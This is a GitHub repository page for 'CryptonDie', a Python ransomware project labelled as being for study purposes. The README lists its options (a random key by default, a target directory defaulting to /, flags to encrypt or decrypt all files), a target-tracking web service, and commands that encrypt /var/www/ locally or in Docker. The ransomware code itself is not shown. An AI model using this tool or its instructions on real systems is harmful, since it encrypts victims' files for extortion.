Skip to content
CryptonDie is a ransomware developed for study purposes.
Python Dockerfile
Branch: master
Clone or download
Latest commit 9600f87 Sep 30, 2019
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
discovery Add service_discovery Sep 17, 2019
modules Remove need to close file Sep 30, 2019
.gitignore Ignore database Sep 17, 2019
Dockerfile Add DVWA for PoC Sep 15, 2019
LICENSE Initial commit Sep 14, 2019
README.md Update README.md Sep 30, 2019
cryptondie.py Fix: Add web_service as a parameter Sep 22, 2019
requirements.txt Update requirements Sep 17, 2019

README.md

CryptonDie

CryptonDie

CryptonDie is a ransomware developed for study purposes.


Options

    --key       key used to encrypt and decrypt files, default is random string(recommended)
    --dir       Home directory for the attack, default is /
    --encrypt   Encrypt all files
    --decrypt   Decrypt all files
    --verbose   Active verbose mode, default is False

Example:
    python3 cryptondie.py --web-service http://127.0.0.1:5000 --dir /var/www/ --encrypt --verbose

Web service endpoints

GET   - /targets              - list all targets (returns in JSON format)
GET   - /targets/<target_id>  - list one target by id (returns in JSON format)
POST  - /target/<target_id>   - create new target

how to run?

Clonning repository

git clone https://github.com/zer0dx/cryptondie

Install requirements

pip3 install -r requirements.txt

Running web service

cd cryptondie/discovery
python3 service_discovery.py

Running in Docker

docker build -t cryptondie .
docker run -it cryptondie /bin/bash
python cryptondie.py --web-service http://127.0.0.1:5000 --dir /var/www/ --encrypt --verbose

which encryption is implemented?

Advanced Encryption Standard

Contact

[+] Telegram:   @zer0dx
[+] Github:     https://github.com/zer0dx
[+] Twitter:    https://twitter.com/zer0dxx
[+] Blog:       https://zer0dx.github.io

chaos is order yet undeciphered.

You can’t perform that action at this time.